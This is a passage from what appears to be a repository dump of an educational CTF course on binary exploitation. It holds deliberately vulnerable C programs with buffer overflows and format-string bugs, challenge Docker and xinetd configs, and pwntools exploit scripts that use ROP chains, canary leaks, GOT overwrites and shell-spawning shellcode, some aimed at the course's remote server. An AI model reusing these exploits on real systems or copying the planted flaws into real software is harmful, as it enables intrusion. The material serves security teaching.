*get_uname_by_uid(uint8_t uid)\n{\n    if (uid >= mu_cnt)\n        return NULL;\n    \n    return user_list[uid]->username;\n}\n\nMyUser *login_mu(const char *username, const char *password)\n{\n    for (int i = 0; i < mu_cnt; i++)\n        if (!mu_is_deleted(user_list[i]) &&\n            !strcmp(username, user_list[i]->username) &&\n            !strcmp(password, user_list[i]->password))\n            return user_list[i];\n    return NULL;\n}\n\nMyUser *_get_mu_by_uname(const char *username)\n{\n    for (int i = 0; i < mu_cnt; i++)\n        if (!strcmp(username, user_list[i]->username))\n            return user_list[i];\n    return NULL;\n}"
  },
  {
    "path": "2021/quals/myfs/share/user.h",
    "content": "#ifndef _USER_H_\n#define _USER_H_\n\n#include <stdint.h>\n#define MU_DIR_MAX_DEEP 8\n#define MU_MAX_USER_NUM 0x100\n#define MU_MAX_UNAME_LEN 0x20\n\nstruct _MyUser;\ntypedef struct _MyUser MyUser;\n\nstatic uint8_t mu_cnt = 0;\n\n#include \"fs.h\"\nstruct _MyUser\n{\n    uint8_t uid;\n    uint8_t dir_deep;\n    char *username;\n    char *password;\n    MyFile *dir_stack[8];\n    MyFile *curr_dir;\n    MyFile *softlink;\n    MyFile *hardlink;\n};\n\nstatic inline int mu_is_deleted(MyUser *mu)\n{\n    return mu->password == NULL;\n}\n\nconst char *get_uname_by_uid(uint8_t uid);\nMyUser *_get_mu_by_uname(const char *username);\n\n/**\n * new_mu(): create an new user\n * > useradd <username> <password>\n */\nMyUser *new_mu(const char *username, const char *password, MyFile *rootfs_mf);\nMyUser *__new_mu(const char *username, const char *password, MyFile *rootfs_mf);\n\n/**\n * login_mu(): login\n * > login <username> <password>\n */\nMyUser *login_mu(const char *username, const char *password);\n\n/**\n * delete_mu(): delete\n * > userdel <username> <password>\n */\nint delete_mu(const char *username, const char *password, MyUser *curr_mu);\n\n\n#endif"
  },
  {
    "path": "2021/quals/myfs/xinetd",
    "content": "service myfs\n{\n    disable = no\n    type = UNLISTED\n    socket_type = stream\n    protocol = tcp\n    server = /home/admin/quals/myfs/run.sh\n    user = admin\n    port = 30213\n    flags = REUSE\n    wait = no\n}"
  },
  {
    "path": "2021/week1/demo/Makefile",
    "content": "all: demo_shellcode demo_ROP demo_BOF1 demo_BOF2_leak_canary demo_canary demo_GOT demo_one_gadget_with_ROP demo_stack_pivoting demo_fmt\n\ndemo_shellcode:\n\tgcc -g -z execstack -o $@ $@.c\ndemo_BOF1:\n\tgcc -g -no-pie -fno-stack-protector -o $@ $@.c\ndemo_BOF2_leak_canary:\n\tgcc -g -no-pie -o $@ $@.c\ndemo_canary:\n\tgcc -Wl,--dynamic-linker=/usr/src/glibc/glibc_dbg/elf/ld.so -g -o $@ $@.c\ndemo_GOT:\n\tgcc -z lazy -Wl,--dynamic-linker=/usr/src/glibc/glibc_dbg/elf/ld.so -g -o $@ $@.c\ndemo_ROP:\n\tgcc -g -no-pie -static -fno-stack-protector -o $@ $@.c\ndemo_one_gadget_with_ROP:\n\tgcc -g -fno-stack-protector -o $@ $@.c\ndemo_stack_pivoting:\n\tgcc -g -no-pie -static -fno-stack-protector -o $@ $@.c\ndemo_fmt:\n\tgcc -g -z lazy -no-pie -o $@ $@.c"
  },
  {
    "path": "2021/week1/demo/demo_BOF1.c",
    "content": "#include <stdio.h>\n#include <unistd.h>\n#include <stdlib.h>\n\nvoid backdoor()\n{\n    system(\"/bin/sh\");\n}\n\nint main()\n{\n    setvbuf(stdin, 0, _IONBF, 0);\n    setvbuf(stdout, 0, _IONBF, 0);\n\n    char name[0x10];\n    \n    printf(\"What's your name: \");\n    read(0, name, 0x100);\n\n    return 0;\n}"
  },
  {
    "path": "2021/week1/demo/demo_BOF1.py",
    "content": "#!/usr/bin/python3\n\nfrom pwn import *\n\ncontext.arch = 'amd64'\ncontext.terminal = ['tmux', 'splitw', '-h']\n\nr = process('./demo_BOF1')\n\nbackdoor_addr = 0x401196\nno_push_rbp_backdoor_addr = 0x40119b\n\ngdb.attach(r)\n# r.sendafter(\"What's your name: \", b'A'*0x18 + p64(backdoor_addr))\nr.sendafter(\"What's your name: \", b'A'*0x18 + p64(no_push_rbp_backdoor_addr))\n\nr.interactive()"
  },
  {
    "path": "2021/week1/demo/demo_BOF2_leak_canary.c",
    "content": "#include <stdio.h>\n#include <unistd.h>\n#include <stdlib.h>\n\nvoid backdoor()\n{\n    system(\"/bin/sh\");\n}\n\nint main()\n{\n    setvbuf(stdin, 0, _IONBF, 0);\n    setvbuf(stdout, 0, _IONBF, 0);\n\n    char name[0x10];\n    char phone[0x10];\n\n    printf(\"What's your name: \");\n    read(0, name, 0x100);\n    printf(\"Hello, %s !\", name);\n\n    printf(\"What's your phone number: \");\n    read(0, phone, 0x100);\n\n    return 0;\n}"
  },
  {
    "path": "2021/week1/demo/demo_BOF2_leak_canary.py",
    "content": "#!/usr/bin/python3\n\nfrom pwn import *\n\ncontext.arch = 'amd64'\ncontext.terminal = ['tmux', 'splitw', '-h']\n\nr = process('./demo_BOF2_leak_canary')\n\nbackdoor_addr = 0x4011b6\nno_push_rbp_backdoor_addr = 0x4011bb\n\ngdb.attach(r)\nr.sendafter(\"What's your name: \", b'A'*0x29)\nr.recvuntil('A'*0x29)\ncanary = u64(b'\\x00' + r.recv(7))\nprint(\"canary: \", hex(canary))\nr.sendafter(\"What's your phone number: \", b'A'*0x18 + p64(canary) + p64(0xdeadbeef) + p64(no_push_rbp_backdoor_addr))\n\nr.interactive()"
  },
  {
    "path": "2021/week1/demo/demo_GOT.c",
    "content": "#include <stdio.h>\n\nint main()\n{\n    setvbuf(stdin, 0, _IONBF, 0);\n    setvbuf(stdout, 0, _IONBF, 0);\n    \n    puts(\"1. lazy binding\");\n    puts(\"2. call directly\");\n    return 0;\n}"
  },
  {
    "path": "2021/week1/demo/demo_GOT.sh",
    "content": "#!/bin/bash\n\ngdb ./demo_GOT -ex 'set exec-wrapper env \"LD_PRELOAD=/usr/src/glibc/glibc_dbg/libc.so\"'"
  },
  {
    "path": "2021/week1/demo/demo_ROP.c",
    "content": "#include <stdio.h>\n#include <unistd.h>\n\nint main()\n{\n    setvbuf(stdin, 0, _IONBF, 0);\n    setvbuf(stdout, 0, _IONBF, 0);\n\n    char s[0x10];\n\n    printf(\"Here is your \\\"/bin/sh\\\": %p\\n\", \"/bin/sh\");\n    printf(\"Give me your ROP: \");\n    read(0, s, 0x400);\n\n    return 0;\n}\n"
  },
  {
    "path": "2021/week1/demo/demo_ROP.py",
    "content": "#!/usr/bin/python3\n\nfrom pwn import *\n\ncontext.arch = 'amd64'\ncontext.terminal = ['tmux', 'splitw', '-h']\n\nr = process('./demo_ROP')\n\nr.recvuntil('Here is your \"/bin/sh\": ')\nbinsh = int(r.recvline()[:-1], 16)\ninfo(f\"binsh: {hex(binsh)}\")\n\npop_rdi_ret = 0x40186a # pop rdi ; ret\npop_rsi_ret = 0x40f3fe # pop rsi ; ret\npop_rdx_ret = 0x40176f # pop rdx ; ret\npop_rax_ret = 0x4516b7 # pop rax ; ret\nsyscall     = 0x4012d3 # syscall\n\nROP = flat(\n    pop_rdi_ret, binsh,\n    pop_rsi_ret, 0,\n    pop_rdx_ret, 0,\n    pop_rax_ret, 0x3b,\n    syscall,\n)\n\ngdb.attach(r)\nr.sendafter(\"Give me your ROP: \", b'A'*0x18 + ROP)\n\nr.interactive()"
  },
  {
    "path": "2021/week1/demo/demo_canary.c",
    "content": "#include <stdio.h>\n\nint main()\n{\n    setvbuf(stdin, 0, _IONBF, 0);\n    setvbuf(stdout, 0, _IONBF, 0);\n    \n    char buf[8];\n    unsigned long canary = *(unsigned long *)(buf + 8);\n    printf(\"canary: 0x%016lx\\n\", canary);\n    return 0;\n}"
  },
  {
    "path": "2021/week1/demo/demo_canary.sh",
    "content": "#!/bin/bash\n\ngdb ./demo_canary -ex 'set exec-wrapper env \"LD_PRELOAD=/usr/src/glibc/glibc_dbg/libc.so\"'\n\n# pwndbg> tls\n# pwndbg> canary\n# pwndbg> search -8 <canary>"
  },
  {
    "path": "2021/week1/demo/demo_fmt.c",
    "content": "#include <stdio.h>\n#include <unistd.h>\n#include <stdlib.h>\n\nint main()\n{\n    setvbuf(stdin, 0, _IONBF, 0);\n    setvbuf(stdout, 0, _IONBF, 0);\n\n    char fmt[0x20];\n\n    system(\"echo 'Give me fmt: '\");\n    read(0, fmt, 0x20);\n    printf(fmt);\n\n    system(\"echo 'Give me string: '\");\n    read(0, fmt, 0x20);\n    puts(fmt);\n\n    return 0;\n}"
  },
  {
    "path": "2021/week1/demo/demo_fmt.py",
    "content": "#!/usr/bin/python3\n\nfrom pwn import *\n\ncontext.arch = 'amd64'\ncontext.terminal = ['tmux', 'splitw', '-h']\n\nr = process('./demo_fmt')\n\nputs_got = 0x404018\nsystem_resolve_chain = 0x401050\n\ngdb.attach(r)\nr.sendafter(\"Give me string: \", \"sh\\x00\")\nr.sendafter(\"Give me fmt: \", b\"%80c%8$hhn\" + b\"AAAAAA\" + p64(puts_got))\n\nr.interactive()"
  },
  {
    "path": "2021/week1/demo/demo_one_gadget_with_ROP.c",
    "content": "#include <stdio.h>\n#include <unistd.h>\n\nint main()\n{\n    setvbuf(stdin, 0, _IONBF, 0);\n    setvbuf(stdout, 0, _IONBF, 0);\n\n    char s[0x10];\n\n    printf(\"Your libc: %p\", printf);\n    read(0, s, 0x100);\n\n    return 0;\n}\n"
  },
  {
    "path": "2021/week1/demo/demo_one_gadget_with_ROP.py",
    "content": "#!/usr/bin/python3\n\nfrom pwn import *\nimport sys\n\ncontext.arch = 'amd64'\ncontext.terminal = ['tmux', 'splitw', '-h']\n\nr = process('./demo_one_gadget_with_ROP')\n\nr.recvuntil(\"Your libc: \")\nlibc = int(r.recv(14), 16) - 0x64e10\ninfo(f\"libc: {hex(libc)}\")\n\n\"\"\"\n0xe6c84 execve(\"/bin/sh\", rsi, rdx)\nconstraints:\n  [rsi] == NULL || rsi == NULL\n  [rdx] == NULL || rdx == NULL\n\"\"\"\ngdb.attach(r)\npop_rdx_rbx_ret = libc + 0x162866 # pop rdx ; pop rbx ; ret\npop_rsi_ret = libc + 0x27529 # pop rsi ; ret\n\nif len(sys.argv) > 1:\n    r.send(b'A'*0x18 + p64(pop_rdx_rbx_ret) + p64(0)*2 + p64(pop_rsi_ret) + p64(0) + p64(libc + 0xe6c84))\nelse:\n    r.send(b'A'*0x18 + p64(libc + 0xe6c84))\n\nr.interactive()"
  },
  {
    "path": "2021/week1/demo/demo_shellcode.c",
    "content": "#include <stdio.h>\n#include <unistd.h>\n\nint main()\n{\n    setvbuf(stdin, 0, _IONBF, 0);\n    setvbuf(stdout, 0, _IONBF, 0);\n\n    char shellcode[0x30];\n    printf(\"Give me shellcode: \");\n\n    read(0, shellcode, 0x30);\n    ((void(*)(void))shellcode)();\n    return 0;\n}"
  },
  {
    "path": "2021/week1/demo/demo_shellcode.py",
    "content": "#!/usr/bin/python3\n\nfrom pwn import *\n\ncontext.arch = 'amd64'\ncontext.terminal = ['tmux', 'splitw', '-h']\n\nr = process('./demo_shellcode')\n\n# execve(\"/bin/sh\", 0, 0)\nsc = asm(\"\"\"\nmov rax, 0x3b\nxor rsi, rsi\nxor rdx, rdx\n\nmov rdi, 0x68732f6e69622f\nmov qword ptr [rbp], rdi\nmov rdi, rbp\nsyscall\n\"\"\")\n\nassert(len(sc) <= 0x30)\n\ngdb.attach(r)\nr.sendafter(\"Give me shellcode: \", sc)\n\nr.interactive()"
  },
  {
    "path": "2021/week1/demo/demo_stack_pivoting.c",
    "content": "#include <stdio.h>\n#include <unistd.h>\n\nchar name[0x80];\n\nint main()\n{\n    setvbuf(stdin, 0, _IONBF, 0);\n    setvbuf(stdout, 0, _IONBF, 0);\n\n    char s[0x10];\n\n    printf(\"Give me your name: \");\n    read(0, name, 0x80);\n\n    printf(\"Give me your ROP: \");\n    read(0, s, 0x20);\n\n    return 0;\n}\n"
  },
  {
    "path": "2021/week1/demo/demo_stack_pivoting.py",
    "content": "#!/usr/bin/python3\n\nfrom pwn import *\n\ncontext.arch = 'amd64'\ncontext.terminal = ['tmux', 'splitw', '-h']\n\nr = process('./demo_stack_pivoting')\n\nnew_rsp = 0x4c3300 # name\nleave_ret = 0x401dd0 # leave ; ret\npop_rdi_ret = 0x40186a # pop rdi ; ret\npop_rsi_ret = 0x40f40e # pop rsi ; ret\npop_rax_ret = 0x4516c7 # pop rax ; ret\npop_rdx_ret = 0x40176f # pop rdx ; ret\nsyscall = 0x4012d3 # syscall\n\nROP = b'/bin/sh\\x00'\nROP += flat(\n    pop_rdi_ret, new_rsp,\n    pop_rsi_ret, 0,\n    pop_rdx_ret, 0,\n    pop_rax_ret, 0x3b,\n    syscall\n)\n\nr.sendafter(\"Give me your name: \", ROP)\n\ngdb.attach(r)\nr.sendafter(\"Give me your ROP: \", b'A'*0x10 + p64(new_rsp) + p64(leave_ret))\n\nr.interactive()"
  },
  {
    "path": "2021/week1/hw/exp/fullchain-nerf.py",
    "content": "#!/usr/bin/python3\n\nfrom pwn import *\nimport sys\n\ncontext.arch = 'amd64'\ncontext.terminal = ['tmux', 'splitw', '-h']\n\nif len(sys.argv) > 1:\n    r = remote('edu-ctf.zoolab.org', 30206)\nelse:\n    r = process('./fullchain-nerf')\n\nr.sendlineafter('global or local > ', 'local')\nr.sendlineafter('set, read or write > ', 'write-%6$p-%19$p')\nr.recvuntil('write-')\ndata = r.recvuntil('global', drop=True).split(b'-')\ncode = int(data[0], 16) - 0x1670\nlibc = int(data[1], 16) - 0x270b3\ninfo(f\"libc: {hex(libc)}\")\ninfo(f\"code: {hex(code)}\")\nflag_path = code + 0x2093\nglobal_addr = code + 0x40a0\nbss = code + 0x4000\n\nrop_pop_rdi_ret = libc + 0x26b72\nrop_pop_rsi_ret = libc + 0x27529\nrop_pop_rax_ret = libc + 0x4a550\nrop_pop_rdx_ret = libc + 0xe4942\nrop_pop_rdx_rbx_ret = libc + 0x162866\nrop_syscall_ret = libc + 0x66229\nrop_leave_ret = libc + 0x5aa48\n\nr.sendline('global')\nr.sendlineafter('set, read or write > ', 'read')\nr.sendlineafter('length > ', str(0x60))\n# stack pivoting\nROP1 = flat(\n    rop_leave_ret,\n)\n# read more ROP\nROP2 = flat(\n    rop_pop_rax_ret, 0,\n    rop_pop_rdi_ret, 0,\n    rop_pop_rsi_ret, global_addr + 10*0x8,\n    rop_pop_rdx_rbx_ret, 0x150, 1,\n    rop_syscall_ret,\n)\n# orw\nROP3 = flat(\n    rop_pop_rax_ret, 2,\n    rop_pop_rdi_ret, flag_path,\n    rop_pop_rsi_ret, 0,\n    rop_syscall_ret,\n\n    rop_pop_rax_ret, 0,\n    rop_pop_rdi_ret, 3,\n    rop_pop_rsi_ret, bss,\n    rop_pop_rdx_rbx_ret, 0x30, 1,\n    rop_syscall_ret,\n\n    rop_pop_rax_ret, 1,\n    rop_pop_rdi_ret, 1,\n    rop_syscall_ret,\n)\n\ninput()\nr.send(ROP2)\nr.sendlineafter('global or local > ', 'local')\nr.sendlineafter('set, read or write > ', 'read')\nr.sendlineafter('length > ', str(0x60))\nr.send(b'\\x00'*0x30 + p64(global_addr - 8) + ROP1)\ninput()\nr.send(ROP3)\n\nr.interactive()"
  },
  {
    "path": "2021/week1/hw/exp/fullchain.py",
    "content": "#!/usr/bin/python3\n\nfrom pwn import *\nimport sys\n\ncontext.arch = 'amd64'\ncontext.terminal = ['tmux', 'splitw', '-h']\n\nr = remote('edu-ctf.zoolab.org', 30201)\n\ndef _set_loc(loc):\n    r.sendlineafter('global or local > ', loc)\n\ndef _set(data, _len):\n    r.sendlineafter('set, read or write > ', 'set')\n    r.sendlineafter('data > ', str(data))\n    r.sendlineafter('length > ', str(_len))\n\ndef _set_opt(opt):\n    r.sendlineafter('set, read or write > ', opt)\n\n### leak stack ###\n### r1 ###\n_set_loc('local')\n_set_opt('write%10$p')\nr.recvuntil('write')\nstack = int(r.recv(14), 16)\ncnt = stack - 0x2c\nptr = stack - 0x28\ninfo(f\"stack: {hex(stack)}\")\ninfo(f\"cnt: {hex(cnt)}\")\ninfo(f\"ptr: {hex(ptr)}\")\n\n### r2 ###\n_set_loc('local')\n_set_opt('read')\nr.sendline(b'\\xAA'*0x10 + p64(cnt)[:-1])\n\n### r3 ###\n_set_loc('local')\n_set_opt('write%16$n') # overwrite cnt to 5\n\n### overwrite cnt to large value ###\n_set_loc('local')\n_set_opt('read')\nr.sendline(b'\\xBB'*0x10 + p64(cnt)[:-1])\n\n_set_loc('global')\n_set_opt('read')\nr.sendline(b'write%1000c%16$hn')\n\n_set_loc('global')\n_set_opt('write') # overwrite cnt\n\n### leak code ###\n_set_loc('local')\n_set_opt('write%11$p')\nr.recvuntil('write')\ncode = int(r.recv(14), 16) - 0x172d\n_global = code + 0x40b0\nexit_got = code + 0x4070\nmemset_got = code + 0x4058\nprintf_got = code + 0x4040\ninfo(f\"code: {hex(code)}\")\n\n### overwrite exit_got ###\n_set_loc('local')\n_set_opt('read')\nr.sendline(b'\\xCC'*0x10 + p64(exit_got)[:-1])\n\n_set_loc('global')\n_set_opt('read')\nr.sendline(b'write%21c%16$hhn')\n\n_set_loc('global')\n_set_opt('write')\n\n### overwrite ptr to memset_got to leak + write mprotect address ###\n_set_loc('local')\n_set(0xAA, 0x10)\n\n_set_loc('local')\n_set_opt('read')\nr.sendline(b'\\xDD'*0x10 + p64(ptr)[:-1])\n\n_set_loc('global')\n_set_opt('read')\nr.sendline(b'write%83c%16$hhn') # ptr: global --> printf_got\n\n_set_loc('global')\n_set_opt('write')\n\n_set_loc('owo')\n_set_opt('write')\nlibc = u64(r.recv(6).ljust(8, b'\\x00')) - 0x18ea90\n# libc = u64(r.recv(6).ljust(8, b'\\x00')) - 0xbf070\n# libc = u64(r.recv(6).ljust(8, b'\\x00'))\nmprotect = libc + 0x11bb00\ninfo(f\"libc: {hex(libc)}\")\ninput()\n\n_set_loc('owo')\n_set_opt('read')\nr.sendline(p64(mprotect)) # memset --> mprotect\n\n### overwrite ptr to page align and call memset to make page rwx ###\n_set_loc('local')\n_set_opt('read')\nr.sendline(b'\\xEE'*0x10 + p64(ptr)[:-1])\n\n_set_loc('global')\n_set_opt('read')\nr.sendline(b'write%251c%16$hhn') # global --> page alignment\n\n_set_loc('global')\n_set_opt('write')\n\n_set_loc('owo')\n_set(0x1000, 7)\n\n### overwrite exit_got to global ###\n_set_loc('local')\n_set_opt('read')\nr.sendline(b'\\xFF'*0x10 + p64(exit_got)[:-1])\n_set_loc('global')\n_set_opt('read')\nr.sendline(f'write%{  (_global & 0xffff) - 5  }c%16$hn')\n\n_set_loc('global')\n_set_opt('write')\n\n# read(0, global, 0x80)\nsc = asm(\"\"\"\nxor rax, rax\nxor rdi, rdi\nlea rsi, [rip]\nmov rdx, 0x100\nsyscall\n\"\"\")\n\n# open(\"/home/fullchain/flag\", 0)\n# read(3, buf, 0x40)\n# write(1, buf, 0x40)\nsc2 = asm(f\"\"\"\nmov rax, 0x67616c66\npush rax\nmov rax, 0x2f6e696168636c6c\npush rax\nmov rax, 0x75662f656d6f682f\npush rax\nmov rdi, rsp\nmov rsi, 0\nmov rax, 2\nsyscall\n\nmov rdi, rax\nmov rsi, {_global}\nmov rdx, 0x40\nmov rax, 0\nsyscall\n\nmov rdi, 1\nmov rax, 1\nsyscall\n\"\"\")\n\n### write shellcode to global ###\n_set_loc('global')\n_set_opt('read')\nr.sendline(sc)\n\n_set_loc('owo')\nr.sendline(b'\\x90'*24 + sc2)\n\nr.interactive()"
  },
  {
    "path": "2021/week1/hw/exp/sandbox.py",
    "content": "#!/usr/bin/python3\n\nfrom pwn import *\nimport sys\n\ncontext.arch = 'amd64'\ncontext.terminal = ['tmux', 'splitw', '-h']\n\nif len(sys.argv) > 1:\n    r = remote('edu-ctf.zoolab.org', 30202)\nelse:\n    r = process('./sandbox', env={\"LD_PRELOAD\": \"./libc-2.31.so\"})\n\noffset_write = 0x1111e7\n_system = 0x55410\nsh = 0x1b75aa\n\nsc = asm(f\"\"\"\nmov rax, 123\nsyscall\n\nmov rax, {offset_write}\nsub rcx, rax\n\nmov rdi, {sh}\nadd rdi, rcx\n\nmov rax, {_system}\nadd rax, rcx\npush 0\npush rax\nret\n\"\"\")\n\nr.send(sc)\nr.interactive()"
  },
  {
    "path": "2021/week1/hw/fullchain/Dockerfile",
    "content": "FROM ubuntu:20.04\nMAINTAINER u1f383\n\nRUN apt-get update && \\\n    DEBAIN_FRONTEND=noninteractive apt-get install -qy xinetd\n\nRUN useradd -m fullchain\nRUN chown -R root:root /home/fullchain\nRUN chmod -R 755 /home/fullchain\n\nCMD [\"/usr/sbin/xinetd\", \"-dontfork\"]"
  },
  {
    "path": "2021/week1/hw/fullchain/docker-compose.yml",
    "content": "version: '3'\n\nservices:\n  fullchain:\n    build: ./\n    volumes:\n      - ./share:/home/fullchain:ro\n      - ./xinetd:/etc/xinetd.d/fullchain:ro\n    ports:\n      - \"30201:30201\"\n    expose:\n      - \"30201\""
  },
  {
    "path": "2021/week1/hw/fullchain/share/Makefile",
    "content": "all:\n\tgcc -g -fstack-protector-all -z lazy -o fullchain fullchain.c -lseccomp\n"
  },
  {
    "path": "2021/week1/hw/fullchain/share/flag",
    "content": "FLAG{test}"
  },
  {
    "path": "2021/week1/hw/fullchain/share/fullchain.c",
    "content": "#include <stdio.h>\n#include <unistd.h>\n#include <stdlib.h>\n#include <string.h>\n#include <seccomp.h>\n\nchar global[0x10];\n\nvoid setup_seccomp()\n{\n    scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);\n    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);\n    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);\n    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(close), 0);\n    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);\n    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);\n    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);\n    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(mprotect), 0);\n    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(brk), 0);\n    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(mmap), 0);\n    seccomp_load(ctx);\n    seccomp_release(ctx);\n    char dummy[0x1000] = {0};\n}\n\nvoid myset(char *addr)\n{\n    int c;\n    size_t len;\n\n    printf(\"data > \");\n    scanf(\"%d\", &c);\n    printf(\"length > \");\n    scanf(\"%lu\", &len);\n\n    if (len > 0x10) {\n        puts(\"Too more\");\n        return;\n    }\n    memset(addr, c, len);\n}\n\nvoid myread(char *addr)\n{\n    scanf(\"%24s\", addr);\n}\n\nvoid mywrite(char *addr)\n{\n    printf(addr);\n}\n\nvoid chal()\n{\n    char local[0x10] = {0};\n    char *ptr = NULL;\n    int cnt = 3;\n\n    while (cnt--)\n    {\n        printf(\"global or local > \");\n        scanf(\"%10s\", local);\n\n        if (!strncmp(\"local\", local, 5))\n            ptr = local;\n        else if (!strncmp(\"global\", local, 6))\n            ptr = global;\n        else\n            exit(1);\n\n        printf(\"set, read or write > \");\n        scanf(\"%10s\", local);\n\n        if (!strncmp(\"set\", local, 3))\n            myset(ptr);\n        else if (!strncmp(\"read\", local, 4))\n            myread(ptr);\n        else if (!strncmp(\"write\", local, 5))\n            mywrite(ptr);\n        else\n            exit(1);\n    }\n    puts(\"Bye ~\");\n    exit(1);\n}\n\nint main()\n{\n    setvbuf(stdin, 0, _IONBF, 0);\n    setvbuf(stdout, 0, _IONBF, 0);\n    setup_seccomp();\n    char buf[0x10];\n    memset(buf, 0, 0x1000);\n    chal();\n}"
  },
  {
    "path": "2021/week1/hw/fullchain/share/run.sh",
    "content": "#!/bin/sh\n\nexec 2>/dev/null\ntimeout 60 /home/fullchain/fullchain"
  },
  {
    "path": "2021/week1/hw/fullchain/xinetd",
    "content": "service fullchain\n{\n    disable = no\n    type = UNLISTED\n    socket_type = stream\n    protocol = tcp\n    server = /home/fullchain/run.sh\n    user = fullchain\n    port = 30201\n    flags = REUSE\n    bind = 0.0.0.0\n    wait = no\n}"
  },
  {
    "path": "2021/week1/hw/fullchain-nerf/Dockerfile",
    "content": "FROM ubuntu:20.04\nMAINTAINER u1f383\n\nRUN apt-get update && \\\n    DEBAIN_FRONTEND=noninteractive apt-get install -qy xinetd\n\nRUN useradd -m fullchain-nerf\nRUN chown -R root:root /home/fullchain-nerf\nRUN chmod -R 755 /home/fullchain-nerf\n\nCMD [\"/usr/sbin/xinetd\", \"-dontfork\"]"
  },
  {
    "path": "2021/week1/hw/fullchain-nerf/docker-compose.yml",
    "content": "version: '3'\n\nservices:\n  fullchain-nerf:\n    build: ./\n    volumes:\n      - ./share:/home/fullchain-nerf:ro\n      - ./xinetd:/etc/xinetd.d/fullchain-nerf:ro\n    ports:\n      - \"30206:30206\"\n    expose:\n      - \"30206\""
  },
  {
    "path": "2021/week1/hw/fullchain-nerf/share/Makefile",
    "content": "all:\n\tgcc -g -fno-stack-protector -z lazy -o fullchain-nerf fullchain-nerf.c -lseccomp\n"
  },
  {
    "path": "2021/week1/hw/fullchain-nerf/share/flag",
    "content": "FLAG{test}"
  },
  {
    "path": "2021/week1/hw/fullchain-nerf/share/fullchain-nerf.c",
    "content": "#include <stdio.h>\n#include <unistd.h>\n#include <stdlib.h>\n#include <string.h>\n#include <seccomp.h>\n\nchar global[0x20];\n\nvoid setup_seccomp()\n{\n    scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);\n    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);\n    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);\n    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(close), 0);\n    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);\n    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);\n    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);\n    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(mprotect), 0);\n    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(brk), 0);\n    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(mmap), 0);\n    seccomp_load(ctx);\n    seccomp_release(ctx);\n}\n\nvoid myread(char *addr)\n{\n    size_t len;\n\n    printf(\"length > \");\n    scanf(\"%lu\", &len);\n    if (len > 0x60) {\n        puts(\"Too much\");\n        return;\n    }\n    read(0, addr, len);\n}\n\nvoid mywrite(char *addr)\n{\n    printf(addr); // fmt\n}\n\nvoid chal()\n{\n    char local[0x20] = {0}; // overflow\n    char *ptr = NULL;\n    int cnt = 3;\n\n    while (cnt--)\n    {\n        printf(\"global or local > \");\n        scanf(\"%16s\", local);\n\n        if (!strncmp(\"local\", local, 5))\n            ptr = local;\n        else if (!strncmp(\"global\", local, 6))\n            ptr = global;\n        else\n            exit(1);\n\n        printf(\"set, read or write > \");\n        scanf(\"%16s\", local);\n\n        if (!strncmp(\"set\", local, 3))\n            puts(\"not implement !\");\n        else if (!strncmp(\"read\", local, 4))\n            myread(ptr);\n        else if (!strncmp(\"write\", local, 5))\n            mywrite(ptr);\n        else\n            exit(1);\n    }\n    puts(\"Bye ~\");\n}\n\nint main()\n{\n    setvbuf(stdin, 0, _IONBF, 0);\n    setvbuf(stdout, 0, _IONBF, 0);\n    setup_seccomp();\n    puts(\"[*] Flag is in the /home/fullchain-nerf/flag\");\n    chal();\n}"
  },
  {
    "path": "2021/week1/hw/fullchain-nerf/share/run.sh",
    "content": "#!/bin/sh\n\nexec 2>/dev/null\ntimeout 60 /home/fullchain-nerf/fullchain-nerf"
  },
  {
    "path": "2021/week1/hw/fullchain-nerf/xinetd",
    "content": "service fullchain-nerf\n{\n    disable = no\n    type = UNLISTED\n    socket_type = stream\n    protocol = tcp\n    server = /home/fullchain-nerf/run.sh\n    user = fullchain-nerf\n    port = 30206\n    flags = REUSE\n    bind = 0.0.0.0\n    wait = no\n}"
  },
  {
    "path": "2021/week1/hw/sandbox/Dockerfile",
    "content": "FROM ubuntu:20.04\nMAINTAINER u1f383\n\nRUN apt-get update && \\\n    DEBAIN_FRONTEND=noninteractive apt-get install -qy xinetd\n\nRUN useradd -m sandbox\nRUN chown -R root:root /home/sandbox\nRUN chmod -R 755 /home/sandbox\n\nCMD [\"/usr/sbin/xinetd\", \"-dontfork\"]"
  },
  {
    "path": "2021/week1/hw/sandbox/docker-compose.yml",
    "content": "version: '3'\n\nservices:\n  sandbox:\n    build: ./\n    volumes:\n      - ./share:/home/sandbox:ro\n      - ./xinetd:/etc/xinetd.d/sandbox:ro\n    ports:\n      - \"30202:30202\"\n    expose:\n      - \"30202\""
  },
  {
    "path": "2021/week1/hw/sandbox/share/Makefile",
    "content": "all:\n\tgcc -g -o sandbox sandbox.c\n"
  },
  {
    "path": "2021/week1/hw/sandbox/share/flag",
    "content": "FLAG{test}"
  },
  {
    "path": "2021/week1/hw/sandbox/share/run.sh",
    "content": "#!/bin/sh\n\nexec 2>/dev/null\ntimeout 60 /home/sandbox/sandbox"
  },
  {
    "path": "2021/week1/hw/sandbox/share/sandbox.c",
